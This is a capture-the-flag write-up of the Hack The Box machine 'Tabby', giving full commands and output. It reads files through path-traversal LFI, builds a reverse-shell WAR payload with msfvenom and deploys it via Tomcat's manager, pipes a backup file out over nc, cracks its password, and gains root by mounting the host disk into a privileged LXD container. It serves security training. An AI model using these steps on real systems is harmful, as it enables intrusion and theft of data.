Tabby was a user friendly easy level box put together with interesting attack vectors. We start off with discovering Local File Inclusion (LFI) in a website and leverage it to expose credentials for the tomcat server hosted on a different port. Then we exploit tomcat in a rather peculiar way using command line to upload malicious WAR file and execute it drop us a reverse shell. Next we crack password of a zip archive and re-use this password to gain access to next user, this user happens to be a member of LXD group, abusing this group permission we start a privileged container to gain root.
Reconnaissance
masscan
Starting off with masscan we see three open ports 22, 80 and 8080:
1
2
3
4
5
6
7
8
9
10
11
12
coldfx@Shockwave:~/htb/tabby$ sudo masscan -e tun0 -p1-65535,U:1-65535 --rate 500 10.10.10.194 | tee masscan.ports
Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-11-05 12:43:30 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 8080/tcp on 10.10.10.194
Discovered open port 22/tcp on 10.10.10.194
Discovered open port 80/tcp on 10.10.10.194
coldfx@Shockwave:~/htb/tabby$ cat masscan.ports | grep tcp | sed s/'Discovered open port //' | awk -F/ '{print $1}' ORS=','
8080,22,80,
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
coldfx@Shockwave:~/htb/tabby$ nmap -sC -sV -p8080,22,80 10.10.10.194
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-05 18:24 IST
Nmap scan report for 10.10.10.194
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Mega Hosting
8080/tcp open http Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.75 seconds
Based on the scan results we’ve the following summary:
- Port 22: SSH
- Port 80: HTTP service on Apache 2.4.41 with Mega Hosting banner
- Port 8080: Apache Tomcat
Port 80: Website
Visiting http://10.10.10.194 it appears we have a site of server hosting organization:
Going through the site, majority of the page links are non-functional however, we do see the NEWS which is redirecting to http://megahosting.htb/news.php?file=statement
To visit this link, let’s first add the megahosting.htb to hosts file:
1
2
coldfx@Shockwave:~$ cat /etc/hosts
10.10.10.194 megahosting.htb
NEWS
Looking at the News page http://megahosting.htb/news.php?file=statement , we see a statement about data breach and hence news tool has been removed.
Web Fuzzing
Before going ahead, Using ffuf let’s fuzz the website for hidden files and directories
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
coldfx@Shockwave:~$ ffuf -c -r -u http://10.10.10.194/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -fc 403
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.1.0
________________________________________________
:: Method : GET
:: URL : http://10.10.10.194/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt
:: Follow redirects : true
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403
:: Filter : Response status: 403
________________________________________________
favicon.ico [Status: 200, Size: 759, Words: 8, Lines: 2]
index.php [Status: 200, Size: 14175, Words: 2135, Lines: 374]
:: Progress: [4658/4658]_:: Job [1/1] :: 358 req/sec :: Duration: [0:00:13] :: Errors: 0 ::
Unfortunately we don’t see anything useful.
Port 8080: Tomcat
Visiting the page we see Tomcat’s default successful installation summary page.
On the page we do see links to manager-webapp & host-manager webapp, both of which resulting in displaying authentication form pop up. Apart from this we do see a reference of user’s definition inside tomcat.
LFI
Testing LFI
Going back to the NEWS page, if we observe the link http://megahosting.htb/news.php?file=statement, it’s using file argument to read the file which is a good sign, we can check for Local File Inclusion vulnerability.
First we’ll try to read /etc/passwd with path traversal to confirm the vulnerability. Usually I would do this in burp or in browser but here let’s do it with curl
Note: While doing this inside browser just view the source of the page for better output format
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
coldfx@Shockwave:~/htb/tabby$ curl http://megahosting.htb/news.php?file=../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:997:997::/opt/tomcat:/bin/false
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
ash:x:1000:1000:clive:/home/ash:/bin/bash
Great ! Now let’s try to read any other sensitive file potentially exposing credentials.
Fetching Tomcat Creds
Tomcat page on port 8080 said Users are defined in /etc/tomcat9/tomcat-users.xml
tomcat-users.xml is the file where ideally tomcat credentials are stored, so it’s pretty obvious that the next file to read.
First we’ll look into etc/tomcat9/tomcat-users.xml but unfortunately it doesn’t return anything.
1
coldfx@Shockwave:~/htb/tabby$ curl http://megahosting.htb/news.php?file=../../../../../../etc/tomcat9/tomcat-users.xml
Possibly we are not looking in the right directory, so let’s install tomcat9 on our machine with apt install tomcat9 and search for tomcat-users.xml locally using find:
1
2
3
coldfx@Shockwave:~$ find / -name tomcat-users.xml 2>/dev/null
/etc/tomcat9/tomcat-users.xml
/usr/share/tomcat9/etc/tomcat-users.xml
It appears the file is also located inside /usr/share/tomcat9/etc/tomcat-users.xml, on checking the new path we got a result:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
coldfx@Shockwave:~/htb/tabby$ curl http://megahosting.htb/news.php?file=../../../../../../usr/share/tomcat9/etc/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<!--
NOTE: By default, no user is included in the "manager-gui" role required
to operate the "/manager/html" web application. If you wish to use this app,
you must define such a user - the username and password are arbitrary. It is
strongly recommended that you do NOT use one of the users in the commented out
section below since they are intended for use with the examples web
application.
-->
<!--
NOTE: The sample user and role entries below are intended for use with the
examples web application. They are wrapped in a comment and thus are ignored
when reading this file. If you wish to configure these users for use with the
examples web application, do not forget to remove the <!.. ..> that surrounds
them. You will also need to set the passwords to something appropriate.
-->
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<role rolename="admin-gui"/>
<role rolename="manager-script"/>
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
</tomcat-users>
Bingo ! We have credentials as tomcat:$3cureP4s5w0rd123! with the roles to access admin-gui and manager-script
Shell as tomcat
Access Failures
Even with creds we are unable to access Tomcat Manager :
It appears manager gui is only accessible through the browser from the same machine as Tomcat.
Manager-Script Access
As per XML file, our user also has another role as manager-script, this access allows tomcat users to deploy applications via text base service located at /manager/text
There is a link to docs manager support page on the home page of 8080 which gives detail explanation on the usage of text manager access, let’s use serverinfo command to test this privilege:
1
2
3
4
5
6
7
8
9
coldfx@Shockwave:~/htb/tabby$ curl -u 'tomcat:$3cureP4s5w0rd123!' http://10.10.10.194:8080/manager/text/serverinfo
OK - Server info
Tomcat Version: [Apache Tomcat/9.0.31 (Ubuntu)]
OS Name: [Linux]
OS Version: [5.4.0-31-generic]
OS Architecture: [amd64]
JVM Version: [11.0.7+10-post-Ubuntu-3ubuntu1]
JVM Vendor: [Ubuntu]
Deploying Malicious App
Payload Creation
Now that we are able to access Tomcat manager, we can create a malicious war application to deploy it.
We’ll use msfvenom to generate malicious WAR payload which returns reverse shell.
1
2
3
coldfx@Shockwave:~/htb/tabby$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.9 LPORT=8020 -f war > cfx.war
Payload size: 1097 bytes
Final size of war file: 1097 bytes
Deploy Payload
With reference to the manager support page, let’s deploy our malicious war payload using Text based manager.
1
2
3
coldfx@Shockwave:~/htb/tabby$ curl -u 'tomcat:$3cureP4s5w0rd123!' -T "cfx.war" "http://10.10.10.194:8080/manager/text/deploy?path=/coldfx"
OK - Deployed application at context path [/coldfx]
Next, On triggering the application using curl http://10.10.10.194:8080/coldfx/ we get a call back on our pwncat listener:
Shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
coldfx@Shockwave:~/htb/tabby$ pwncat -l 8020 -vv
INFO: Listening on :::8020 (family 10/IPv6, TCP)
INFO: Listening on 0.0.0.0:8020 (family 2/IPv4, TCP)
INFO: Client connected from 10.10.10.194:55452 (family 2/IPv4, TCP)
id
uid=997(tomcat) gid=997(tomcat) groups=997(tomcat)
which python3
/usr/bin/python3
python3 -c "import pty;pty.spawn('/bin/bash')"
tomcat@tabby:/var/lib/tomcat9$ export TERM=xterm
export TERM=xterm
tomcat@tabby:/var/lib/tomcat9$ whoami
tomcat
Elevating Priv: Tomcat -> ash
Enumeration
Initial enumeration reveals user flag is located inside home directory of user ash.
Hence we’ll search files owned by user ash:
1
2
3
4
5
6
7
8
9
10
11
12
13
tomcat@tabby:~$ find / -user ash 2>/dev/null | xargs ls -la
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 /var/www/html/files/16162020_backup.zip
ls: cannot open directory '/home/ash': Permission denied
/var/www/html/files:
total 36
drwxr-xr-x 4 ash ash 4096 Jun 17 21:59 .
drwxr-xr-x 4 root root 4096 Jun 17 16:24 ..
-rw-r--r-- 1 ash ash 8716 Jun 16 13:42 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Jun 16 20:13 archive
drwxr-xr-x 2 root root 4096 Jun 16 20:13 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 11:25 statement
Decrypting Archive
There is a 16162020_backup.zip inside /var/www/html/files directory.
The file is encrypted with a password, To examine it better we’ll transfer it to our machine using nc along with base64 which is safer way for maintaining file integrity.
1
2
3
4
tomcat@tabby:/var/www/html/files$ base64 16162020_backup.zip | nc 10.10.14.9 4444
tomcat@tabby:/var/www/html/files$ md5sum 16162020_backup.zip
f0a0af346ad4495cfdb01bd5173b0a52 16162020_backup.zip
Receiving the file on our machine, also confirming the integrity of the file by comparing md5 hash:
1
2
3
4
5
coldfx@Shockwave:~/htb/tabby$ nc -lvnp 4444 | base64 -d > 16162020_backup.zip
Listening on 0.0.0.0 4444
Connection received on 10.10.10.194 46686
coldfx@Shockwave:~/htb/tabby$ md5sum 16162020_backup.zip
f0a0af346ad4495cfdb01bd5173b0a52 16162020_backup.zip
Cracking hash
We’ll use zip2john to create the hash in John accessible format:
1
2
3
4
5
6
7
8
9
10
11
12
coldfx@Shockwave:~/htb/tabby$ zip2john backup.zip > backup.hashes
backup.zip/var/www/html/assets/ is not encrypted!
ver 1.0 backup.zip/var/www/html/assets/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/favicon.ico PKZIP Encr: 2b chk, TS_chk, cmplen=338, decmplen=766, crc=282B6DE2
ver 1.0 backup.zip/var/www/html/files/ is not encrypted, or stored with non-handled compression type
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=3255, decmplen=14793, crc=285CC4D6
ver 1.0 efh 5455 efh 7875 backup.zip/var/www/html/logo.png PKZIP Encr: 2b chk, TS_chk, cmplen=2906, decmplen=2894, crc=2F9F45F
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/news.php PKZIP Encr: 2b chk, TS_chk, cmplen=114, decmplen=123, crc=5C67F19E
ver 2.0 efh 5455 efh 7875 backup.zip/var/www/html/Readme.txt PKZIP Encr: 2b chk, TS_chk, cmplen=805, decmplen=1574, crc=32DB9CE3
NOTE: It is assumed that all files in each archive have the same password.
If that is not the case, the hash may be uncrackable. To avoid this, use
option -o to pick a file at a time.
Using john we can crack it easily:
1
2
3
4
5
6
7
8
coldfx@Shockwave:~/htb/tabby$ john backup.hashes -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
admin@it (backup.zip)
1g 0:00:00:04 DONE (2020-11-05 20:29) 0.2336g/s 2419Kp/s 2419Kc/s 2419KC/s adminako123..admin422243
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Password is admin@it
ZipBreaker
We can also use ZipBreaker a small tool I wrote in python to crack zip files password.
This tool not only cracks the password but also extracts it’s content inside the user specified directory.
1
2
3
4
5
6
7
8
coldfx@Shockwave:~/htb/tabby$ ./zipBreaker.py -z backup.zip -w key.txt -d backup
[*] Zip file Password Cracking Script by ColdFusionX
[/] Hunting: Trying with Password admin@it
[+] SUCCESS !!
[+] Password found: admin@it
[+] Files Extracted inside -> backup directory!
Going through the Zip file contents, We don’t see anything useful:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
coldfx@Shockwave:~/htb/tabby/backup$ tree
.
└── var
└── www
└── html
├── assets
├── favicon.ico
├── files
├── index.php
├── logo.png
├── news.php
└── Readme.txt
5 directories, 5 files
SU - ash
Since the file was actually owned by Ash, there might be a possibility that ash might have reused this password elsewhere, on trying SU as ash with this password, we get switched to user ash:
1
2
3
4
5
tomcat@tabby:~$ su ash -
Password:
ash@tabby:/opt/tomcat$ whoami
ash
user.txt
Grabbing user.txt:
1
2
3
ash@tabby:~$ cat user.txt
84f94163521c3937****************
Elevating Priv: ash -> root
Enumeration
User ash is a member of lxd group, which is an awesome privilege escalation vector.
1
2
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
LXD Priv Esc
Basic scenario behind this attack is that the members of lxd group can create containers with elevated privileges and mount the root file system to it and later access it.
Image Creation
First we will create a small alpine image using LXD Alpine builder, clone the repo to our machine and run the build script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
coldfx@Shockwave:/opt$ sudo git clone https://github.com/saghul/lxd-alpine-builder
Cloning into 'lxd-alpine-builder'...
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), 15.98 KiB | 380.00 KiB/s, done.
coldfx@Shockwave:/opt$ cd lxd-alpine-builder/
coldfx@Shockwave:/opt/lxd-alpine-builder$ sudo ./build-alpine
Determining the latest release... v3.12
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.12/main/x86_64
Downloading alpine-mirrors-3.5.10-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
Downloading alpine-keys-2.2-r0.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
[..SNIP..]
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1
Downloading apk-tools-static-2.10.5-r1.apk
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
tar: Ignoring unknown extended header keyword 'APK-TOOLS.checksum.SHA1'
alpine-devel@lists.alpinelinux.org-4a6a0840.rsa.pub: OK
Verified OK
Selecting mirror http://dl-2.alpinelinux.org/alpine/v3.12/main
fetch http://dl-2.alpinelinux.org/alpine/v3.12/main/x86_64/APKINDEX.tar.gz
(1/19) Installing musl (1.1.24-r9)
(2/19) Installing busybox (1.31.1-r19)
Executing busybox-1.31.1-r19.post-install
(3/19) Installing alpine-baselayout (3.2.0-r7)
Executing alpine-baselayout-3.2.0-r7.pre-install
Executing alpine-baselayout-3.2.0-r7.post-install
(4/19) Installing openrc (0.42.1-r11)
Executing openrc-0.42.1-r11.post-install
(5/19) Installing alpine-conf (3.9.0-r1)
(6/19) Installing libcrypto1.1 (1.1.1g-r0)
(7/19) Installing libssl1.1 (1.1.1g-r0)
(8/19) Installing ca-certificates-bundle (20191127-r4)
(9/19) Installing libtls-standalone (2.9.1-r1)
(10/19) Installing ssl_client (1.31.1-r19)
(11/19) Installing zlib (1.2.11-r3)
(12/19) Installing apk-tools (2.10.5-r1)
(13/19) Installing busybox-suid (1.31.1-r19)
(14/19) Installing busybox-initscripts (3.2-r2)
Executing busybox-initscripts-3.2-r2.post-install
(15/19) Installing scanelf (1.2.6-r0)
(16/19) Installing musl-utils (1.1.24-r9)
(17/19) Installing libc-utils (0.7.2-r3)
(18/19) Installing alpine-keys (2.2-r0)
(19/19) Installing alpine-base (3.12.1-r0)
Executing busybox-1.31.1-r19.trigger
OK: 8 MiB in 19 packages
coldfx@Shockwave:/opt/lxd-alpine-builder$ ls
alpine-v3.12-x86_64-20201111_2341.tar.gz build-alpine LICENSE README.md
Next we’ll transfer it to Tabby by hosting a python3 server on our machine using python3 -m http.server 1337 and download it on tabby using wget
1
2
3
4
5
6
7
8
9
10
ash@tabby:~$ wget http://10.10.14.9:1337/alpine-v3.12-x86_64-20201111_2341.tar.gz
--2020-11-11 18:30:47-- http://10.10.14.9:1337/alpine-v3.12-x86_64-20201111_2341.tar.gz
Connecting to 10.10.14.9:1337... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3213612 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.12-x86_64-20201111_2341.tar.gz’
alpine-v3.12-x86_64-20201111_2341.tar.gz 100%[======================================================================================================>] 3.06M 2.41MB/s in 1.3s
2020-11-11 18:30:49 (2.41 MB/s) - ‘alpine-v3.12-x86_64-20201111_2341.tar.gz’ saved [3213612/3213612]
Image import
1
2
3
4
5
ash@tabby:~$ lxc image import alpine-v3.12-x86_64-20201111_2341.tar.gz --alias cfximage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
Image imported with fingerprint: 3747acf3e102c42530f8f0dd342bd566458266581bc15e345c92c2ade6b7ffb4
It appears lxd is not running on the machine by default as a result we are a getting a suggestion to run lxd init first, so we’ll run it by accepting all default options:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ash@tabby:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:
Do you want to configure a new storage pool? (yes/no) [default=yes]:
Name of the new storage pool [default=default]: Name of the storage backend to use (lvm, ceph, btrfs, dir) [default=btrfs]:
Create a new BTRFS pool? (yes/no) [default=yes]:
Would you like to use an existing block device? (yes/no) [default=no]:
Size in GB of the new loop device (1GB minimum) [default=15GB]:
Would you like to connect to a MAAS server? (yes/no) [default=no]:
Would you like to create a new local network bridge? (yes/no) [default=yes]:
What should the new bridge be called? [default=lxdbr0]:
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:
Would you like LXD to be available over the network? (yes/no) [default=no]:
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:
We can check our image:
1
2
3
4
5
6
ash@tabby:~$ lxc image list
+----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| cfximage | 3747acf3e102 | no | alpine v3.12 (20201111_23:41) | x86_64 | CONTAINER | 3.06MB | Nov 11, 2020 at 6:31pm (UTC) |
+----------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
Creating Container
Now that our image has been successfully imported, we’ll create a container fusion-root with security privileges which allows it to run as root:
1
2
ash@tabby:~$ lxc init cfximage fusion-root -c security.privileged=true
Creating fusion-root
Mounting root filesystem
Next, we’ll mount the root file system to our container:
1
2
ash@tabby:~$ lxc config device add fusion-root cold-device disk source=/ path=/mnt/root recursive=true
Device cold-device added to fusion-root
Starting the container
1
2
3
4
5
6
7
ash@tabby:~$ lxc start fusion-root
ash@tabby:~$ lxc list
+-------------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+-------------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| fusion-root | RUNNING | 10.246.48.11 (eth0) | fd42:e693:434f:7134:216:3eff:fef3:f762 (eth0) | CONTAINER | 0 |
+-------------+---------+---------------------+-----------------------------------------------+-----------+-----------+
Root Shell
Using lxc exec we can access root file system inside the container
1
2
3
4
5
ash@tabby:~$ lxc exec fusion-root /bin/sh
~ # id
uid=0(root) gid=0(root)
~ # whoami
root
Accessing mounted root
1
2
3
4
~ # cd /mnt/root/
/mnt/root # ls
bin cdrom etc lib lib64 lost+found mnt proc run snap swap.img tmp var
boot dev home lib32 libx32 media opt root sbin srv sys usr
Grabbing root.txt
1
2
3
/mnt/root # cat root/root.txt
515f9b6d82c645f*****************
And we pwned the Box !
Thanks for reading, Suggestions & Feedback are appreciated !